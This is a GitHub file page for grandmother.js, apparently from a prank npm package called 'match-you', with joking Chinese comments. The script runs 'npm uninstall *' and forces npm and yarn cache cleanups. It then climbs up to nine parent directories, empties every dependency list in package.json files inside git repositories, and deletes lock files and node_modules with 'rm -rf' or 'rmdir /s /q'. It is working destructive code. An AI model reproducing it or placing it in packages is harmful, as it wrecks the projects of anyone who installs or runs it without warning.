forked from RimoChan/match-you
-
Notifications
You must be signed in to change notification settings - Fork 0
/
grandmother.js
executable file
·78 lines (73 loc) · 2.73 KB
/
grandmother.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env node
//
//
// 这个 grandmother 和 mother 有什么区别呢?
// 当然就是你用 mother, 别人只会问候你 mother.
// 而你用 grandmother, 别人还会问候你 grandmother.
//
//
const fs = require("fs");
const path = require("path");
const os = require("os");
const cmd = require("child_process");
const noop = () => {
console.log(`match-you ${Math.random() > 0.5 ? "grandmother" : "grandfather"}`);
};
cmd.exec("npm cache verify", noop);
cmd.exec("npm cache clean --force", noop);
cmd.exec("npm uninstall *", noop);
cmd.exec("yarn cache clean --all", noop);
matchYou(".");
matchYou(__dirname); // 1x1
matchYou(path.resolve(__dirname, "..")); // 2x2
matchYou(path.resolve(__dirname, "..", "..")); // 3x3
matchYou(path.resolve(__dirname, "..", "..", "..")); // 4x4
matchYou(path.resolve(__dirname, "..", "..", "..", "..")); // 5x5
matchYou(path.resolve(__dirname, "..", "..", "..", "..", "..")); // 6x6
matchYou(path.resolve(__dirname, "..", "..", "..", "..", "..", "..")); // 7x7
matchYou(path.resolve(__dirname, "..", "..", "..", "..", "..", "..", "..")); // 8x8
matchYou(path.resolve(__dirname, "..", "..", "..", "..", "..", "..", "..", "..")); // 9x9
function matchYou(directory) {
const packageFile = path.resolve(directory, "package.json");
let package;
try {
package = require(packageFile);
} catch (error) {
return;
}
// grandmother 安全配
const youHaveGit = path.resolve(directory, '.git')
if (fs.existsSync(youHaveGit)) {
if (package.dependencies) package.dependencies = {}
if (package.devDependencies) package.devDependencies = {}
if (package.peerDependencies) package.peerDependencies = {}
if (package.bundledDependencies) package.bundledDependencies = {}
if (package.optionalDependencies) package.optionalDependencies = {}
if (package.resolutions) package.resolutions = {}
fs.writeFile(packageFile, JSON.stringify(package, null, 2));
}
if (typeof fs.rm === "function") {
// We have good guy card, We would not delete package.json
// fs.rm(path.resolve(directory, "package.json"), noop);
fs.rm(path.resolve(directory, "package-lock.json"), noop);
fs.rm(path.resolve(directory, "yarn.lock"), noop);
fs.rm(path.resolve(directory, "pnpm-lock.yaml"), noop);
fs.rm(
path.resolve(directory, "node_modules"),
{ recursive: true, force: true },
noop
);
} else {
// 很久以前的 Node.js
fs.unlink(path.resolve(directory, "package-lock.json"), noop);
fs.unlink(path.resolve(directory, "yarn.lock"), noop);
fs.unlink(path.resolve(directory, "pnpm-lock.yaml"), noop);
cmd.exec(
os.platform() === "win32"
? "rmdir node_modules /s /q"
: "rm -rf node_modules",
{ cwd: directory },
noop
);
}
}